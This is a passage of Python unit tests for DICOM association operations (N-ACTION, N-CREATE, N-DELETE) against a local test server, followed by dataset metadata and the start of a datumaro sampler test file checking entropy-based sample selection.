r"accepted by the peer "
r"for the SCU role"
)
with pytest.raises(ValueError, match=msg):
assoc.send_n_action(
ds, 1, ProceduralEventLoggingSOPClass,
'1.2.840.10008.5.1.1.40.1',
meta_uid=BasicColorPrintManagementMetaSOPClass
)
assoc.release()
assert assoc.is_released
scp.shutdown()
class TestAssociationSendNCreate(object):
"""Run tests on Assocation send_n_create."""
def setup(self):
self.ae = None
def teardown(self):
"""Clear any active threads"""
if self.ae:
self.ae.shutdown()
def test_must_be_associated(self):
"""Test can't send without association."""
def handle(event):
return 0x0000, Dataset()
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(ModalityPerformedProcedureStepSOPClass)
handlers = [(evt.EVT_N_CREATE, handle)]
scp = ae.start_server(('', 11112), evt_handlers=handlers, block=False)
ae.add_requested_context(ModalityPerformedProcedureStepSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
assoc.release()
assert assoc.is_released
assert not assoc.is_established
with pytest.raises(RuntimeError):
assoc.send_n_create(None, None, None)
scp.shutdown()
def test_no_abstract_syntax_match(self):
"""Test SCU when no accepted abstract syntax"""
def handle(event):
return 0x0000, Dataset()
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(ModalityPerformedProcedureStepSOPClass)
handlers = [(evt.EVT_N_CREATE, handle)]
scp = ae.start_server(('', 11112), evt_handlers=handlers, block=False)
ae.add_requested_context(ModalityPerformedProcedureStepSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
msg = (
r"No presentation context for 'Verification SOP Class' has been "
r"accepted by the peer for the SCU role"
)
with pytest.raises(ValueError, match=msg):
assoc.send_n_create(None, VerificationSOPClass, None)
assoc.release()
assert assoc.is_released
scp.shutdown()
def test_rq_bad_dataset_raises(self):
"""Test sending bad dataset raises exception."""
def handle(event):
return 0x0000, Dataset()
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(ModalityPerformedProcedureStepSOPClass)
handlers = [(evt.EVT_N_CREATE, handle)]
scp = ae.start_server(('', 11112), evt_handlers=handlers, block=False)
ae.add_requested_context(
ModalityPerformedProcedureStepSOPClass,
ExplicitVRLittleEndian
)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
ds = Dataset()
ds.PerimeterValue = b'\x00\x01'
msg = r"Failed to encode the supplied 'Attribute List' dataset"
with pytest.raises(ValueError, match=msg):
assoc.send_n_create(
ds, ModalityPerformedProcedureStepSOPClass, '1.2.3'
)
assoc.release()
assert assoc.is_released
scp.shutdown()
def test_rsp_none(self):
"""Test no response from peer"""
def handle(event):
time.sleep(0.5)
return 0x0000, Dataset()
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 0.4
ae.network_timeout = 5
ae.add_supported_context(ModalityPerformedProcedureStepSOPClass)
handlers = [(evt.EVT_N_CREATE, handle)]
scp = ae.start_server(('', 11112), evt_handlers=handlers, block=False)
ae.add_requested_context(ModalityPerformedProcedureStepSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
ds = Dataset()
ds.PatientName = 'Test^test'
status, ds = assoc.send_n_create(
ds, ModalityPerformedProcedureStepSOPClass,
'1.2.840.10008.5.1.1.40.1'
)
assert status == Dataset()
assert ds is None
assert assoc.is_aborted
scp.shutdown()
def test_rsp_invalid(self):
"""Test invalid DIMSE message received from peer"""
def handle(event):
return 0x0000, Dataset()
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(ModalityPerformedProcedureStepSOPClass)
handlers = [(evt.EVT_N_CREATE, handle)]
scp = ae.start_server(('', 11112), evt_handlers=handlers, block=False)
ae.add_requested_context(ModalityPerformedProcedureStepSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
class DummyResponse():
is_valid_response = False
class DummyDIMSE():
msg_queue = queue.Queue()
gotten = False
def send_msg(*args, **kwargs): return
def get_msg(self, *args, **kwargs):
if not self.gotten:
self.gotten = True
return None, DummyResponse()
return None, None
assoc._reactor_checkpoint.clear()
while not assoc._is_paused:
time.sleep(0.01)
assoc.dimse = DummyDIMSE()
ds = Dataset()
ds.PatientName = 'Test^test'
status, ds = assoc.send_n_create(
ds, ModalityPerformedProcedureStepSOPClass,
'1.2.840.10008.5.1.1.40.1'
)
assert status == Dataset()
assert ds is None
assert assoc.is_aborted
scp.shutdown()
def test_rsp_failure(self):
"""Test receiving a failure response from the peer"""
def handle(event):
return 0x0112, Dataset()
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(ModalityPerformedProcedureStepSOPClass)
handlers = [(evt.EVT_N_CREATE, handle)]
scp = ae.start_server(('', 11112), evt_handlers=handlers, block=False)
ae.add_requested_context(ModalityPerformedProcedureStepSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
ds = Dataset()
ds.PatientName = 'Test^test'
status, ds = assoc.send_n_create(
ds, ModalityPerformedProcedureStepSOPClass,
'1.2.840.10008.5.1.1.40.1'
)
assert status.Status == 0x0112
assert ds is None
assoc.release()
assert assoc.is_released
scp.shutdown()
def test_rsp_warning(self):
"""Test receiving a warning response from the peer"""
def handle(event):
return 0x0116, event.attribute_list
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(ModalityPerformedProcedureStepSOPClass)
handlers = [(evt.EVT_N_CREATE, handle)]
scp = ae.start_server(('', 11112), evt_handlers=handlers, block=False)
ae.add_requested_context(ModalityPerformedProcedureStepSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
ds = Dataset()
ds.PatientName = 'Test^test'
status, ds = assoc.send_n_create(
ds, ModalityPerformedProcedureStepSOPClass,
'1.2.840.10008.5.1.1.40.1'
)
assert status.Status == 0x0116
assert ds.PatientName == 'Test^test'
assoc.release()
assert assoc.is_released
scp.shutdown()
def test_rsp_success(self):
"""Test receiving a success response from the peer"""
def handle(event):
return 0x0000, event.attribute_list
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(ModalityPerformedProcedureStepSOPClass)
handlers = [(evt.EVT_N_CREATE, handle)]
scp = ae.start_server(('', 11112), evt_handlers=handlers, block=False)
ae.add_requested_context(ModalityPerformedProcedureStepSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
ds = Dataset()
ds.PatientName = 'Test^test'
status, ds = assoc.send_n_create(
ds, ModalityPerformedProcedureStepSOPClass,
'1.2.840.10008.5.1.1.40.1'
)
assert status.Status == 0x0000
assert ds.PatientName == 'Test^test'
assoc.release()
assert assoc.is_released
scp.shutdown()
def test_rsp_unknown_status(self):
"""Test unknown status value returned by peer"""
def handle(event):
return 0xFFF0, event.attribute_list
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(ModalityPerformedProcedureStepSOPClass)
handlers = [(evt.EVT_N_CREATE, handle)]
scp = ae.start_server(('', 11112), evt_handlers=handlers, block=False)
ae.add_requested_context(ModalityPerformedProcedureStepSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
ds = Dataset()
ds.PatientName = 'Test^test'
status, ds = assoc.send_n_create(
ds, ModalityPerformedProcedureStepSOPClass,
'1.2.840.10008.5.1.1.40.1'
)
assert status.Status == 0xFFF0
assert ds is None
assoc.release()
assert assoc.is_released
scp.shutdown()
def test_rsp_bad_dataset(self):
"""Test handler returns bad dataset"""
def handle(event):
def test(): pass
return 0x0000, test
self.ae = ae = AE()
ae.add_requested_context(ModalityPerformedProcedureStepSOPClass)
ae.add_supported_context(ModalityPerformedProcedureStepSOPClass)
handlers = [(evt.EVT_N_CREATE, handle)]
scp = ae.start_server(('', 11112), evt_handlers=handlers, block=False)
ae.acse_timeout = 5
ae.dimse_timeout = 5
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
# Event Information
ds = Dataset()
ds.PatientName = 'Test^test'
status, ds = assoc.send_n_create(
ds,
ModalityPerformedProcedureStepSOPClass,
'1.2.840.10008.5.1.1.40.1'
)
assert status.Status == 0x0110
assert ds is None
assoc.release()
scp.shutdown()
def test_decode_failure(self):
"""Test bad dataset received from peer"""
def handle(event):
return 0x0000, event.attribute_list
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(ModalityPerformedProcedureStepSOPClass)
handlers = [(evt.EVT_N_CREATE, handle)]
scp = ae.start_server(('', 11112), evt_handlers=handlers, block=False)
ae.add_requested_context(ModalityPerformedProcedureStepSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
class DummyReply():
def getvalue(self):
def test(): pass
return test
class DummyMessage():
is_valid_response = True
is_valid_request = False
AttributeList = DummyReply()
Status = 0x0000
STATUS_OPTIONAL_KEYWORDS = []
class DummyDIMSE():
msg_queue = queue.Queue()
gotten = False
def send_msg(*args, **kwargs):
return
def get_msg(self, *args, **kwargs):
if not self.gotten:
self.gotten = True
return 1, DummyMessage()
return None, None
assoc._reactor_checkpoint.clear()
while not assoc._is_paused:
time.sleep(0.01)
assoc.dimse = DummyDIMSE()
ds = Dataset()
ds.PatientName = 'Test^test'
status, ds = assoc.send_n_create(
ds, ModalityPerformedProcedureStepSOPClass,
'1.2.840.10008.5.1.1.40.1'
)
assert status.Status == 0x0110
assert ds is None
assoc.release()
assert assoc.is_released
scp.shutdown()
def test_extra_status(self):
"""Test extra status elements are available."""
def handle(event):
status = Dataset()
status.Status = 0xFFF0
status.ErrorComment = 'Some comment'
status.ErrorID = 12
return status, event.attribute_list
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(ModalityPerformedProcedureStepSOPClass)
handlers = [(evt.EVT_N_CREATE, handle)]
scp = ae.start_server(('', 11112), evt_handlers=handlers, block=False)
ae.add_requested_context(ModalityPerformedProcedureStepSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
ds = Dataset()
ds.PatientName = 'Test^test'
status, ds = assoc.send_n_create(
ds, ModalityPerformedProcedureStepSOPClass,
'1.2.840.10008.5.1.1.40.1'
)
assert status.Status == 0xFFF0
assert status.ErrorComment == 'Some comment'
assert status.ErrorID == 12
assert ds is None
assoc.release()
assert assoc.is_released
scp.shutdown()
def test_meta_uid(self):
"""Test using a Meta SOP Class"""
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(BasicGrayscalePrintManagementMetaSOPClass)
ae.add_supported_context(PrinterSOPClass)
scp = ae.start_server(('', 11112), block=False)
ae.add_requested_context(BasicGrayscalePrintManagementMetaSOPClass)
ae.add_requested_context(PrinterSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
assoc.dimse = DummyDIMSE()
ds = Dataset()
ds.PatientName = 'Test^test'
# Receives None, None from DummyDIMSE, aborts
status, ds = assoc.send_n_create(
ds,
PrinterSOPClass,
'1.2.840.10008.5.1.1.40.1',
meta_uid=BasicGrayscalePrintManagementMetaSOPClass
)
assert assoc.is_aborted
scp.shutdown()
assert assoc.dimse.req.AffectedSOPClassUID == PrinterSOPClass
assert assoc.dimse.context_id == 1
assert assoc._accepted_cx[1].abstract_syntax == BasicGrayscalePrintManagementMetaSOPClass
def test_meta_uid_good(self):
"""Test sending a request using a Meta SOP Class."""
handler_data = []
def handle(event):
handler_data.append(event)
return 0x0000, event.attribute_list
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(BasicGrayscalePrintManagementMetaSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_CREATE, handle)]
)
ae.add_requested_context(BasicGrayscalePrintManagementMetaSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
ds = Dataset()
ds.PatientName = 'Test^test'
status, ds = assoc.send_n_create(
ds, ModalityPerformedProcedureStepSOPClass,
'1.2.840.10008.5.1.1.40.1',
meta_uid=BasicGrayscalePrintManagementMetaSOPClass
)
assert status.Status == 0x0000
assert ds.PatientName == 'Test^test'
assoc.release()
assert assoc.is_released
scp.shutdown()
req = handler_data[0].request
cx = handler_data[0].context
assert req.AffectedSOPClassUID == ModalityPerformedProcedureStepSOPClass
assert cx.abstract_syntax == BasicGrayscalePrintManagementMetaSOPClass
def test_meta_uid_bad(self):
"""Test sending a request using a Meta SOP Class."""
def handle(event):
ds = Dataset()
ds.PatientName = 'Test'
ds.SOPClassUID = DisplaySystemSOPClass
ds.SOPInstanceUID = '1.2.3.4'
return 0x0000, ds
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(BasicGrayscalePrintManagementMetaSOPClass)
scp = ae.start_server(
('', 11112), block=False,
evt_handlers=[(evt.EVT_N_CREATE, handle)]
)
ae.add_requested_context(BasicGrayscalePrintManagementMetaSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
ds = Dataset()
ds.PatientName = 'Test^test'
msg = (
r"No presentation context for 'Basic Color Print Management "
r"Meta SOP Class' has been "
r"accepted by the peer "
r"for the SCU role"
)
with pytest.raises(ValueError, match=msg):
assoc.send_n_create(
ds, ModalityPerformedProcedureStepSOPClass,
'1.2.840.10008.5.1.1.40.1',
meta_uid=BasicColorPrintManagementMetaSOPClass
)
assoc.release()
assert assoc.is_released
scp.shutdown()
class TestAssociationSendNDelete(object):
"""Run tests on Assocation send_n_delete."""
def setup(self):
self.ae = None
def teardown(self):
"""Clear any active threads"""
if self.ae:
self.ae.shutdown()
def test_must_be_associated(self):
"""Test can't send without association."""
def handle(event):
return 0x0000
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(BasicFilmSessionSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_DELETE, handle)]
)
ae.add_requested_context(BasicFilmSessionSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
assoc.release()
assert assoc.is_released
assert not assoc.is_established
with pytest.raises(RuntimeError):
assoc.send_n_delete(None, None)
scp.shutdown()
def test_no_abstract_syntax_match(self):
"""Test SCU when no accepted abstract syntax"""
def handle(event):
return 0x0000
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(BasicFilmSessionSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_DELETE, handle)]
)
ae.add_requested_context(BasicFilmSessionSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
msg = (
r"No presentation context for 'Verification SOP Class' has been "
r"accepted by the peer for the SCU role"
)
with pytest.raises(ValueError, match=msg):
assoc.send_n_delete(VerificationSOPClass, None)
assoc.release()
assert assoc.is_released
scp.shutdown()
def test_rsp_none(self):
"""Test no response from peer"""
def handle(event):
time.sleep(0.5)
return 0x0000
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 0.4
ae.network_timeout = 5
ae.add_supported_context(BasicFilmSessionSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_DELETE, handle)]
)
ae.add_requested_context(BasicFilmSessionSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
status = assoc.send_n_delete(BasicFilmSessionSOPClass,
'1.2.840.10008.5.1.1.40.1')
assert status == Dataset()
assert assoc.is_aborted
scp.shutdown()
def test_rsp_invalid(self):
"""Test invalid DIMSE message received from peer"""
def handle(event):
return 0x0000
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(BasicFilmSessionSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_DELETE, handle)]
)
ae.add_requested_context(BasicFilmSessionSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
class DummyResponse():
is_valid_response = False
class DummyDIMSE():
msg_queue = queue.Queue()
gotten = False
def send_msg(*args, **kwargs): return
def get_msg(self, *args, **kwargs):
if not self.gotten:
self.gotten = True
return None, DummyResponse()
return None, None
assoc._reactor_checkpoint.clear()
while not assoc._is_paused:
time.sleep(0.01)
assoc.dimse = DummyDIMSE()
status = assoc.send_n_delete(BasicFilmSessionSOPClass,
'1.2.840.10008.5.1.1.40.1')
assert status == Dataset()
assert assoc.is_aborted
scp.shutdown()
def test_rsp_failure(self):
"""Test receiving a failure response from the peer"""
def handle(event):
return 0x0112
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(BasicFilmSessionSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_DELETE, handle)]
)
ae.add_requested_context(BasicFilmSessionSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
status = assoc.send_n_delete(BasicFilmSessionSOPClass,
'1.2.840.10008.5.1.1.40.1')
assert status.Status == 0x0112
assoc.release()
assert assoc.is_released
scp.shutdown()
def test_rsp_success(self):
"""Test receiving a success response from the peer"""
def handle(event):
return 0x0000
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(BasicFilmSessionSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_DELETE, handle)]
)
ae.add_requested_context(BasicFilmSessionSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
status = assoc.send_n_delete(BasicFilmSessionSOPClass,
'1.2.840.10008.5.1.1.40.1')
assert status.Status == 0x0000
assoc.release()
assert assoc.is_released
scp.shutdown()
def test_rsp_unknown_status(self):
"""Test unknown status value returned by peer"""
def handle(event):
return 0xFFF0
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(BasicFilmSessionSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_DELETE, handle)]
)
ae.add_requested_context(BasicFilmSessionSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
status = assoc.send_n_delete(BasicFilmSessionSOPClass,
'1.2.840.10008.5.1.1.40.1')
assert status.Status == 0xFFF0
assoc.release()
assert assoc.is_released
scp.shutdown()
def test_extra_status(self):
"""Test extra status elements are available."""
def handle(event):
ds = Dataset()
ds.Status = 0xFFF0
ds.ErrorComment = 'Some comment'
ds.ErrorID = 12
return ds
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(BasicFilmSessionSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_DELETE, handle)]
)
ae.add_requested_context(BasicFilmSessionSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
status = assoc.send_n_delete(BasicFilmSessionSOPClass,
'1.2.840.10008.5.1.1.40.1')
assert status.Status == 0xFFF0
assert status.ErrorComment == 'Some comment'
assert status.ErrorID == 12
assoc.release()
assert assoc.is_released
scp.shutdown()
def test_meta_uid(self):
"""Test using a Meta SOP Class"""
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(BasicGrayscalePrintManagementMetaSOPClass)
ae.add_supported_context(PrinterSOPClass)
scp = ae.start_server(('', 11112), block=False)
ae.add_requested_context(BasicGrayscalePrintManagementMetaSOPClass)
ae.add_requested_context(PrinterSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
assoc.dimse = DummyDIMSE()
ds = Dataset()
ds.PatientName = 'Test^test'
# Receives None, None from DummyDIMSE, aborts
status = assoc.send_n_delete(
PrinterSOPClass,
'1.2.840.10008.5.1.1.40.1',
meta_uid=BasicGrayscalePrintManagementMetaSOPClass
)
assert assoc.is_aborted
scp.shutdown()
assert assoc.dimse.req.RequestedSOPClassUID == PrinterSOPClass
assert assoc.dimse.context_id == 1
assert assoc._accepted_cx[1].abstract_syntax == BasicGrayscalePrintManagementMetaSOPClass
def test_meta_uid_good(self):
"""Test sending a request using a Meta SOP Class."""
handler_data = []
def handle(event):
handler_data.append(event)
return 0x0000
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(BasicGrayscalePrintManagementMetaSOPClass)
scp = ae.start_server(
('', 11112), block=False, evt_handlers=[(evt.EVT_N_DELETE, handle)]
)
ae.add_requested_context(BasicGrayscalePrintManagementMetaSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
status = assoc.send_n_delete(
BasicFilmSessionSOPClass, '1.2.840.10008.5.1.1.40.1',
meta_uid=BasicGrayscalePrintManagementMetaSOPClass
)
assert status.Status == 0x0000
assoc.release()
assert assoc.is_released
scp.shutdown()
req = handler_data[0].request
cx = handler_data[0].context
assert req.RequestedSOPClassUID == BasicFilmSessionSOPClass
assert cx.abstract_syntax == BasicGrayscalePrintManagementMetaSOPClass
def test_meta_uid_bad(self):
"""Test sending a request using a Meta SOP Class."""
def handle(event):
ds = Dataset()
ds.PatientName = 'Test'
ds.SOPClassUID = DisplaySystemSOPClass
ds.SOPInstanceUID = '1.2.3.4'
return 0x0000, ds
self.ae = ae = AE()
ae.acse_timeout = 5
ae.dimse_timeout = 5
ae.network_timeout = 5
ae.add_supported_context(BasicGrayscalePrintManagementMetaSOPClass)
scp = ae.start_server(
('', 11112), block=False,
evt_handlers=[(evt.EVT_N_DELETE, handle)]
)
ae.add_requested_context(BasicGrayscalePrintManagementMetaSOPClass)
assoc = ae.associate('localhost', 11112)
assert assoc.is_established
ds = Dataset()
ds.PatientName = 'Test^test'
msg = (
r"No presentation context for 'Basic Color Print Management "
r"Meta SOP Class' has been "
r"accepted by the peer "
r"for the SCU role"
)
with pytest.raises(ValueError, match=msg):
assoc.send_n_delete(
BasicFilmSessionSOPClass, '1.2.840.10008.5.1.1.40.1',
meta_uid=BasicColorPrintManagementMetaSOPClass
)
assoc.release()
assert assoc.is_released
scp.shutdown()
| 31.993045
| 97
| 0.596359
| 10,752
| 101,194
| 5.448196
| 0.022135
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| 0.039946
| 0.032264
| 0.970996
| 0.969494
| 0.967258
| 0.963673
| 0.963571
| 0.963263
| 0
| 0.044644
| 0.311372
| 101,194
| 3,162
| 98
| 32.003163
| 0.795982
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| 0.016927
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| 1
| 0.086469
| false
| 0.004003
| 0.004804
| 0.020817
| 0.149319
| 0
| 0
| 0
| 0
| null | 0
| 0
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| 1
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0
| 7
|
4d4c10a9c0ad0aae233f6c450ef705155d50337c
| 39,476
|
py
|
Python
|
tests/test_sampler.py
|
einstonlabs/datumaro
|
9eb5246febb4b4ae10c321fae80413bb87fb1a7d
|
[
"MIT"
] | null | null | null |
tests/test_sampler.py
|
einstonlabs/datumaro
|
9eb5246febb4b4ae10c321fae80413bb87fb1a7d
|
[
"MIT"
] | null | null | null |
tests/test_sampler.py
|
einstonlabs/datumaro
|
9eb5246febb4b4ae10c321fae80413bb87fb1a7d
|
[
"MIT"
] | null | null | null |
from collections import defaultdict
from unittest import TestCase, skipIf
from datumaro.components.project import Dataset
from datumaro.components.extractor import (
DatasetItem,
Label,
LabelCategories,
AnnotationType,
)
from datumaro.util.image import Image
import csv
try:
import pandas as pd
from datumaro.plugins.sampler.sampler import Sampler
from datumaro.plugins.sampler.algorithm.entropy import SampleEntropy as entropy
has_libs = True
except ImportError:
has_libs = False
from .requirements import Requirements, mark_requirement
@skipIf(not has_libs, "pandas library is not available")
class SamplerTest(TestCase):
@staticmethod
def _get_probs(out_range=False):
probs = []
inference_file = "tests/assets/sampler/inference.csv"
with open(inference_file) as csv_file:
csv_reader = csv.reader(csv_file)
col = 0
for row in csv_reader:
if col == 0:
col += 1
continue
else:
if out_range:
probs.append(list(map(lambda x: -float(x), row[1:4])))
else:
probs.append(list(map(float, row[1:4])))
return probs
def _generate_classification_dataset(self, config, subset=None,
empty_scores=False, out_range=False, no_attr=False, no_img=False):
probs = self._get_probs(out_range)
if subset is None:
self.subset = ["train", "val", "test"]
else:
self.subset = subset
iterable = []
label_cat = LabelCategories()
idx = 0
for label_id, label in enumerate(config.keys()):
num_item = config[label]
label_cat.add(label, attributes=None)
for _ in range(num_item):
scores = probs[idx]
idx += 1
if empty_scores:
scores = []
attr = {"scores": scores}
if no_attr:
attr = {}
img = Image(path=f"test/dataset/{idx}.jpg", size=(90, 90))
if no_img:
img = None
iterable.append(
DatasetItem(
idx,
subset=self.subset[idx % len(self.subset)],
annotations=[
Label(
label_id,
attributes=attr,
)
],
image=img,
)
)
categories = {AnnotationType.label: label_cat}
dataset = Dataset.from_iterable(iterable, categories)
return dataset
@mark_requirement(Requirements.DATUM_GENERAL_REQ)
def test_sampler_get_sample_classification(self):
config = {
"label1": 10,
"label2": 10,
"label3": 10,
}
source = self._generate_classification_dataset(config, ["train"])
num_pre_train_subset = len(source.get_subset("train"))
num_sample = 5
with self.subTest("Top-K method"):
result = Sampler(
source,
algorithm="entropy",
input_subset="train",
sampled_subset="sample",
unsampled_subset="unsampled",
sampling_method="topk",
count=num_sample,
output_file=None,
)
self.assertEqual(num_sample, len(result.get_subset("sample")))
self.assertEqual(
len(result.get_subset("unsampled")),
num_pre_train_subset - len(result.get_subset("sample")),
)
topk_expected_result = [1, 4, 9, 10, 26]
topk_result = list(map(int, result.result["ImageID"].to_list()))
self.assertEqual(sorted(topk_result), topk_expected_result)
with self.subTest("Low-K method"):
result = Sampler(
source,
algorithm="entropy",
input_subset="train",
sampled_subset="sample",
unsampled_subset="unsampled",
sampling_method="lowk",
count=num_sample,
output_file=None,
)
self.assertEqual(num_sample, len(result.get_subset("sample")))
self.assertEqual(
len(result.get_subset("unsampled")),
num_pre_train_subset - len(result.get_subset("sample")),
)
lowk_expected_result = [2, 6, 14, 21, 23]
lowk_result = list(map(int, result.result["ImageID"].to_list()))
self.assertEqual(sorted(lowk_result), lowk_expected_result)
with self.subTest("Rand-K method"):
result = Sampler(
source,
algorithm="entropy",
input_subset="train",
sampled_subset="sample",
unsampled_subset="unsampled",
sampling_method="randk",
count=num_sample,
output_file=None,
)
self.assertEqual(num_sample, len(result.get_subset("sample")))
self.assertEqual(
len(result.get_subset("unsampled")),
num_pre_train_subset - len(result.get_subset("sample")),
)
with self.subTest("Mix-K method"):
result = Sampler(
source,
algorithm="entropy",
input_subset="train",
sampled_subset="sample",
unsampled_subset="unsampled",
sampling_method="mixk",
count=num_sample,
output_file=None,
)
self.assertEqual(num_sample, len(result.get_subset("sample")))
self.assertEqual(
len(result.get_subset("unsampled")),
num_pre_train_subset - len(result.get_subset("sample")),
)
mixk_expected_result = [2, 4, 10, 23, 26]
mixk_result = list(map(int, result.result["ImageID"].to_list()))
self.assertEqual(sorted(mixk_result), mixk_expected_result)
result = Sampler(
source,
algorithm="entropy",
input_subset="train",
sampled_subset="sample",
unsampled_subset="unsampled",
sampling_method="mixk",
count=6,
output_file=None,
)
self.assertEqual(6, len(result.get_subset("sample")))
self.assertEqual(
len(result.get_subset("unsampled")),
num_pre_train_subset - len(result.get_subset("sample")),
)
mixk_expected_result = [2, 4, 6, 10, 23, 26]
mixk_result = list(map(int, result.result["ImageID"].to_list()))
self.assertEqual(sorted(mixk_result), mixk_expected_result)
with self.subTest("Randtop-K method"):
result = Sampler(
source,
algorithm="entropy",
input_subset="train",
sampled_subset="sample",
unsampled_subset="unsampled",
sampling_method="randtopk",
count=num_sample,
output_file=None,
)
self.assertEqual(num_sample, len(result.get_subset("sample")))
self.assertEqual(
len(result.get_subset("unsampled")),
num_pre_train_subset - len(result.get_subset("sample")),
)
@mark_requirement(Requirements.DATUM_GENERAL_REQ)
def test_sampler_gives_error(self):
config = {
"label1": 10,
"label2": 10,
"label3": 10,
}
num_sample = 5
source = self._generate_classification_dataset(config)
with self.subTest("Not found"):
with self.assertRaisesRegex(Exception, "Unknown subset"):
subset = "hello"
result = Sampler(
source,
algorithm="entropy",
input_subset=subset,
sampled_subset="sample",
unsampled_subset="unsampled",
sampling_method="topk",
count=num_sample,
output_file=None,
)
result = iter(result)
next(result)
with self.assertRaisesRegex(Exception, "Unknown algorithm"):
algorithm = "hello"
result = Sampler(
source,
algorithm=algorithm,
input_subset="train",
sampled_subset="sample",
unsampled_subset="unsampled",
sampling_method="topk",
count=num_sample,
output_file=None,
)
result = iter(result)
next(result)
with self.assertRaisesRegex(Exception, "Unknown sampling method"):
sampling_method = "hello"
result = Sampler(
source,
algorithm="entropy",
input_subset="train",
sampled_subset="sample",
unsampled_subset="unsampled",
sampling_method=sampling_method,
count=num_sample,
output_file=None,
)
result = iter(result)
next(result)
with self.subTest("Invalid Value"):
with self.assertRaisesRegex(Exception, "Invalid value"):
k = 0
result = Sampler(
source,
algorithm="entropy",
input_subset="train",
sampled_subset="sample",
unsampled_subset="unsampled",
sampling_method="topk",
count=k,
output_file=None,
)
result = iter(result)
next(result)
with self.assertRaisesRegex(Exception, "Invalid value"):
k = -1
result = Sampler(
source,
algorithm="entropy",
input_subset="train",
sampled_subset="sample",
unsampled_subset="unsampled",
sampling_method="topk",
count=k,
output_file=None,
)
result = iter(result)
next(result)
with self.assertRaisesRegex(Exception, "Invalid value"):
k = "string"
result = Sampler(
source,
algorithm="entropy",
input_subset="train",
sampled_subset="sample",
unsampled_subset="unsampled",
sampling_method="topk",
count=k,
